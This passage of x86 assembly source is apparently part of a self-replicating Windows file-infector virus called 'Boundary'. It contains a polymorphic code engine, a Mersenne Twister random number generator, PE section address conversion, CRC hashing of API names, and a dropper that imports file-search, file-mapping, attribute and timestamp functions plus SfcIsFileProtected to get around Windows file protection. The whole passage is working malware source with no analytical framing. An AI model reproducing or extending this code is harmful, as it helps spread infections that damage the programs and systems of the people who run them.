guessed ;----------------------------------------------------------------------------- mov ecx, dword ptr [ebx * 4 + esi + unknown] jecxz poly_cmpset test ecx, ecx js poly_ret xor ebp, edx jns poly_ret xor ebp, edx poly_cmpset label near cmp ebp, edx setb al poly_setcarry label near mov ah, 1 poly_ret label near xchg ah, al mov word ptr [esi + known_carry], ax pop eax push edi popad ret poly endp ;----------------------------------------------------------------------------- ;Mersenne Twister RNG MT19937 (c) 1997 Makoto Matsumoto and Takuji Nishimura ;period is ((2^19937)-1) with 623-dimensionally equidistributed sequence ;asm port and size optimise by rgb in 2002 ;----------------------------------------------------------------------------- randinit proc near ;eax = seed, ecx = 0, edi -> RNG cache pushad push edi or eax, 1 mov ecx, statelen init_loop label near stos dword ptr [edi] mov edx, 69069 mul edx ;Knuth: x_new = x_old * 69069 loop init_loop inc ecx ;force reload call initdelta initdelta label near pop edi add edi, offset randvars - offset initdelta xchg ecx, eax stos dword ptr [edi] pop eax stos dword ptr [edi] stos dword ptr [edi] popad ret randinit endp random proc near pushad call randelta randvars label near db 'rgb!' ;numbers left db 'rgb!' ;next pointer db 'rgb!' ;state pointer randelta label near pop esi push esi lods dword ptr [esi] xchg ecx, eax lods dword ptr [esi] xchg esi, eax loop random_ret mov cx, statelen - period mov esi, dword ptr [eax] lea ebx, dword ptr [esi + (period * 4)] mov edi, esi push esi lods dword ptr [esi] xchg edx, eax call twist pop ebx mov cx, period - 1 push ecx push ebx call twist pop esi push esi inc ecx call twist xchg edx, eax pop esi pop ecx inc ecx random_ret label near lods dword ptr [esi] mov edx, eax shr eax, tshiftU xor eax, edx mov edx, eax shl eax, tshiftS and eax, tmaskB xor eax, edx mov edx, eax shl eax, tshiftT and eax, tmaskC xor eax, edx mov edx, eax shr eax, tshiftL xor eax, edx pop edi mov dword ptr [esp + 1ch], eax ;eax in pushad xchg ecx, eax stos dword ptr [edi] xchg esi, eax stos dword ptr [edi] popad ret random endp twist proc near lods dword ptr [esi] push eax add eax, eax ;remove highest bit add edx, edx ;test highest bit rcr eax, 2 ;merge bits and test lowest bit jnb twist_skip ;remove branch but larger using: xor eax, matrixA ;sbb edx, edx+and edx, matrixA+xor eax, edx twist_skip label near xor eax, dword ptr [ebx] add ebx, 4 stos dword ptr [edi] pop edx loop twist ret twist endp adjust_val proc near pushad pop edx ;discard edi mov ecx, eax xchg dword ptr [ebx * 4 + esi + vals], eax xchg ebp, eax xchg edx, eax adjust_op label near ;----------------------------------------------------------------------------- ;avoid unusable instructions, including XOR if register is ESP, and ADC/SBB if carry is not known ;----------------------------------------------------------------------------- call edx and al, 38h cmp al, OP_OR je adjust_op cmp al, OP_AND je adjust_op cmp al, OP_CMP je adjust_op cmp al, OP_XOR jne check_adcsbb cmp bl, REG_ESP jmp loop_adjust check_adcsbb label near cmp al, OP_ADC je adjust_carry cmp al, OP_SBB jne do_adjust adjust_carry label near cmp byte ptr [esi + known_carry], bh loop_adjust label near je adjust_op do_adjust label near xor edx, edx test al, al ;cmp al, OP_ADD je adjust_add cmp al, OP_ADC jne adjust_trysub sub ecx, dword ptr [esi + carry] adjust_add label near cmp bl, REG_ESP je adjust_adc inc edx cmp ecx, ebp setb dh adjust_adc label near sub ecx, ebp jmp store_adjust adjust_trysub label near cmp al, OP_SUB je adjust_sub cmp al, OP_SBB jne adjust_xor add ecx, dword ptr [esi + carry] adjust_sub label near cmp bl, REG_ESP je adjust_sbb inc edx cmp ecx, ebp setnbe dh adjust_sbb label near neg ecx add ecx, ebp jmp store_adjust adjust_xor label near inc edx xor ecx, ebp store_adjust label near mov dword ptr [esi + known_carry], edx add al, 0c0h add al, bl mov ah, 81h xchg al, ah stos word ptr [edi] xchg ecx, eax stos dword ptr [edi] push edi popad ret adjust_val endp ;----------------------------------------------------------------------------- ;convert relative virtual address to raw file offset ;----------------------------------------------------------------------------- rvaloop label near sub esi, size pesect cmp al, 'R' ;mask PUSH ESI org $ - 1 rva2raw proc near ;ecx = RVA, esi -> last section header push esi cmp dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr], ecx jnbe rvaloop sub ecx, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr] add ecx, dword ptr [esi] pop esi ret rva2raw endp align 4 hostva dd ? align boundary_codeend label near create_crcs proc near or eax, -1 create_outer label near xor al, byte ptr [ebx] push 8 pop ecx create_inner label near add eax, eax jnb create_skip xor eax, 4c11db7h ;use generator polymonial (see IEEE 802) create_skip label near loop create_inner sub cl, byte ptr [ebx] ;carry set if not zero inc ebx ;carry not altered by inc jb create_outer stos dword ptr [edi] dec edx jne create_crcs ret create_crcs endp do_message label near xor eax, eax push eax push offset txttitle push offset txtbody push eax call MessageBoxA push eax call ExitProcess ;must be alphabetical order ;API names are not present in replications, only in dropper krnnames db "CloseHandle" , 0 db "CreateFileA" , 0 db "CreateFileMappingA" , 0 db "CreateFileW" , 0 db "ExitProcess" , 0 db "FindClose" , 0 db "FindFirstFileA" , 0 db "FindFirstFileW" , 0 db "FindNextFileA" , 0 db "FindNextFileW" , 0 db "GetFullPathNameA" , 0 db "GetFullPathNameW" , 0 db "GetTickCount" , 0 db "GetVersion" , 0 db "GlobalAlloc" , 0 db "GlobalFree" , 0 db "LoadLibraryA" , 0 db "MapViewOfFile" , 0 db "MultiByteToWideChar" , 0 db "SetCurrentDirectoryA", 0 db "SetCurrentDirectoryW", 0 db "SetFileAttributesA" , 0 db "SetFileAttributesW" , 0 db "SetFileTime" , 0 db "UnmapViewOfFile" , 0 db "VirtualAlloc" , 0 db "VirtualFree" , 0 sfcnames db "SfcIsFileProtected", 0 txttitle db "Boundary", 0 txtbody db "running...", 0 .code nop end dropper |